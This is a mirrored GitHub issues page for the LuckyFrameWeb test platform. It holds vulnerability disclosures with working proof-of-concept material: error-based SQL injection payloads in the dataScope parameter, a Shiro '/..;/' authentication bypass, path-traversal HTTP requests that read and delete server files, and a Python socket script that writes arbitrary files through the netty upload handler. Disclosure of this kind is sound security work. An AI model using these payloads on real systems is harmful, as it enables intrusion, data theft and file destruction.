Code Monkey home page Code Monkey logo

seagull1985 / luckyframeweb Goto Github PK

View Code? Open in Web Editor NEW
504.0 33.0 236.0 16.15 MB

LuckyFrame测试平台是一款免费开源的测试平台,最大的特点是全纬度覆盖了接口自动化、WEB UI自动化、APP自动化,并且支持分布式测试,测试关键字驱动也很大程度上解决了测试同学代码基础弱的问题。同时也集成了质量管理相关的一些功能,解决QA的日常工作中,项目过程数据的收集问题,并能展示一些简单质量报表。更多功能可以关注公众号或是访问官网了解哦。

Home Page: http://www.luckyframe.cn

License: GNU Affero General Public License v3.0

Java 39.68% CSS 10.94% JavaScript 25.65% HTML 23.73% Batchfile 0.01%

luckyframeweb's People

Contributors

dependabot[bot] avatar gmjdadk avatar leohou0430 avatar panda330 avatar seagull1985 avatar vankillua avatar wfwkjustdo avatar zhangjnxixi avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

luckyframeweb's Issues

sql inject 1

src/main/resources/mybatis/system/RoleMapper.xml

There is a ${} in this mapper

<if test="deptId != null and deptId != 0">
			AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
		</if>
		<!-- 数据范围过滤 -->
		${params.dataScope}
	</select>
	

Search selectUserList to see where the this select id is used:

image

Query user information:
src/main/java/com/luckyframe/project/system/role/controller/RoleController.java

image

Follow up the selectUserList method to see the specific implementation:

src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java

image

The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

image

Verification:

Splice URL and parameters according to code:

params[dataScope]=

Use error injection to query the database version:

params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))

image

Select database name:

image

Authentication Bypass vulnerability

The shiro version used by LuckyFrameWeb is 1.5.0. The shiro configuration has bypass rules

com.luckyframe.framework.config.ShiroConfig#shiroFilterFactoryBean
image

Normal access, response status 302

image

Use /..;/ to bypass

image

Arbitrary file reading vulnerability

API: common/download, parameter: fileName is not verified, resulting in arbitrary file download

com.luckyframe.project.common.CommonController#fileDownload

image

Use authentication bypass vulnerability to read pom.xml file

GET /css/..;/common/download?fileName=../../pom.xml HTTP/1.1

image

Arbitrary file upload vulnerability

The server uses netty to start the server, and then processes messages in ServerHandler#channelRead

Use fastjson to parse json data, and distinguish different request methods through CLIENT_METHOD("method") in the data

com.luckyframe.common.netty.ServerHandler#channelRead
image

When processing the upload request method, the IMG_NAME("imgName") in the data body was directly obtained for splicing, resulting in an arbitrary file writing vulnerability

com.luckyframe.common.netty.ServerHandler#channelRead
image

The important fields are that imgName is the destination filename on the server

The content of the file is controlled by fileUploadFile where bytes is the encoded data of base64, starPos, endPos are the start position and end position respectively

{
    "imgName":"file",
    "method":"upload",
    "data":{
        "code":1,
        "fileUploadFile":{
            "bytes":"YWJjZGVmZ2hpag==",
            "endPos":10,
            "file":"",
            "starPos":0
        },
        "message":"test",
        "uniId":"2131231"
    },
    "start":0,
    "uuid":"1231231"
}

Scripting with Python

import socket
import base64

dst_filename = "../upload.xxx"
file_content = "Upload Success!!!!"
b64_file_content = base64.b64encode(file_content.encode()).decode()
content_length = len(file_content)

upload_data = str({
    "imgName": dst_filename,
    "method": "upload",
    "data": {
        "code": 1,
        "fileUploadFile": {
            "bytes": b64_file_content,
            "endPos": content_length,
            "file": "",
            "starPos": 0
        },
        "message": "test",
        "uniId": "2131231"
    },
    "start": 0,
    "uuid": "1231231"
})

register_client_data = str({
    "hostName": "172.22.96.22", "method": "clientUp",
    "clientName": "", "ip": "172.22.96.22", "version": "3.5"
})

client = socket.socket()
client.connect(("192.168.157.1", 7070))
client.send(f'{register_client_data}$_'.encode())
print(client.recv(4096))
client.send(f"{upload_data}$_".encode())
print(client.recv(65535))
client.close()

uploaded successfully
image

file read and file delete issue

file read: use ..\ to bypass SecurityFilter
GET /common/download?fileName=%2e%2e%5c%2e%2e%5c%70%6f%6d%2e%78%6d%6c&delete=false HTTP/1.1
Host: 192.168.120.133:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1705915229; JSESSIONID=43152667-9015-4f85-9d5a-5cb37bb9f9c0
Connection: close
Upgrade-Insecure-Requests: 1

file delete: set delete to true
GET /common/download?fileName=%2e%2e%5c%2e%2e%5c%70%6f%6d%2e%78%6d%6c&delete=true HTTP/1.1
Host: 192.168.120.133:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1705915229; JSESSIONID=43152667-9015-4f85-9d5a-5cb37bb9f9c0
Connection: close
Upgrade-Insecure-Requests: 1

LuckyFrameWeb Information

Ordinary users can access non-privileged interfaces. lead to information leakage,

Interface with information leakage :
/testmanagmt/projectCase/list
/testmanagmt/projectCase/edit
/testmanagmt/projectCase/copy
/testmanagmt/projectCaseSteps/edit
/testmanagmt/projectCaseDebug/projectCaseDebug/
/testmanagmt/projectCase/export
/testmanagmt/projectCaseModule/list
/testmanagmt/projectProtocolTemplate
/testmanagmt/projectPlan/list
/testmanagmt/projectCaseParams/list
/testexecution/taskScheduling/list
/testexecution/taskExecute/list
/testexecution/taskCaseExecute/list
/qualitymanagmt/qaVersion/list
/qualitymanagmt/qaAccident/list
image

sql inject 3

src/main/resources/mybatis/system/UserMapper.xml

There is a ${} in this mapper
image
Search selectUserList to see where the this select id is used:
image
UserController.java

Query user information:
image
Follow up the selectUserList method to see the specific implementation:

UserServiceImpl.java
image
The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

Verification:

Splice URL and parameters according to code:

params[dataScope]=

Use error injection to query the database version:

params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))

image

Select database name:
image

sql inject 2

src/main/resources/mybatis/system/DeptMapper.xml

There is a ${} in this mapper
image
Search selectDeptList to see where the this select id is used:
image
/DeptController.java

Query dept information:
image
Follow up the selectDeptList method to see the specific implementation:

/DeptServiceImpl.java

image
The parameters in the Dept are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated
image

Verification:

Splice URL and parameters according to code:

params[dataScope]=

Use error injection to query the database version:

params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))

image
Select database name:
image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.